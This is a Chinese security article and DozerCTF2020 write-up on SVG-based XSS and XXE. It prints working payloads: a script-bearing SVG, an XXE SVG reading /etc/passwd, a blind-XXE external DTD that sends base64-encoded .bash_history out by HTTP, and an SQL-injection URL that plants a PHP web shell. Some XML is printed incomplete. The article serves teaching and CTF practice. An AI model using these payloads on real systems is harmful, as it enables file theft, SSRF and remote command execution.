SVG是一种图形文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。严格来说应该是一种开放标准的矢量图形语言,可让你设计激动人心的、高分辨率的Web图形页面。用户可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看。
SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="black" />
<script>alert(1)</script>
|
如果一个web应用能够上传SVG,并且没有对SVG内容进行严格过滤,就可能造成XSS问题。
XXE或XML外部实体注入是一种安全性解析XML的应用程序中的漏洞输入。该漏洞的发生是因为XML解析用户输入的解析器不执行输入验证并解析每一个发送给它的指令。它允许攻击者查看文件在应用服务器文件系统上进行交互与任何后端系统或应用程序。XXE可以也可用于执行SSRF或服务器端针对后端系统的请求伪造。
如果应用程序允许用户在系统上传svg文件,那么可以利用它们来利用XXE。SVG文件实际上以XML格式定义图形。当我们从客户端上传SVG图像时,并没有验证内容/命令服务器端。因此,可能会出现攻击者可以执行恶意命令来获取内部细节。例如获取/etc/passwd文件以及处理请求的服务器。
SVG 文件格式首先开始定义 XML 版本,然后我们可以包含我们的自定义有效负载图像中的一些属性,例如高度宽度和字体大小。一个恶意的payload如下:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [ <!ENTITY fetch SYSTEM "file:///etc/passwd">]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size=“23" x=“8" y=“28">&fetch;</text> </svg>
|
当文件上传时候,可以观察到/etc/passwd的内容
DozerCTF2020的一道题目,首先打开网页输入框要求输入URL的地址,然后进行检查URL指向的file是否为svg图片,SVG是基于XML的矢量图,可以支持Entity(实体)功能,这里未严格限制格式,因此造成blind xxe,ssrf打内网服务。先写一个简单的SVG图片源码放在vps上。
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
|
提交SVG图片源码地址发现实体成功显示,然后尝试读取历史操作的文件。
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
|
页面正常返回信息,但是经过尝试发现,并不能直接读到文件的内容,因为是无回显,所以进行尝试XXE的盲打,也通过加载外部的dtd文件,进而把读取结果以HTTP请求的方式发送到服务器上面进行读取,构造test.svg。
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/abc.dtd">
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
|
"<!ENTITY % send SYSTEM 'http://127.0.0.1/?%file;'>"
|
这里将test.svg以及abc.dtd放进去vps上面,在网页提交test.svg的链接即可成功读取到.bash_history,然后利用SSRF打内网。首先利用sql注入写入一句话木马。
http://127.0.0.1:8080/index.php?id=-1%27%20union%20select%201,%27%3C?php%20system($%5fGET%5bcmd%5d)%3b%3e%27%20into%20outfile%27/app/dashabi.php%27%23
|
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
|
参考链接
https://zhuanlan.zhihu.com/p/323315064
![SVG简介 SVG简介]()
原文始发于微信公众号(山石网科安全技术研究院):SVG简介
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/938545.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论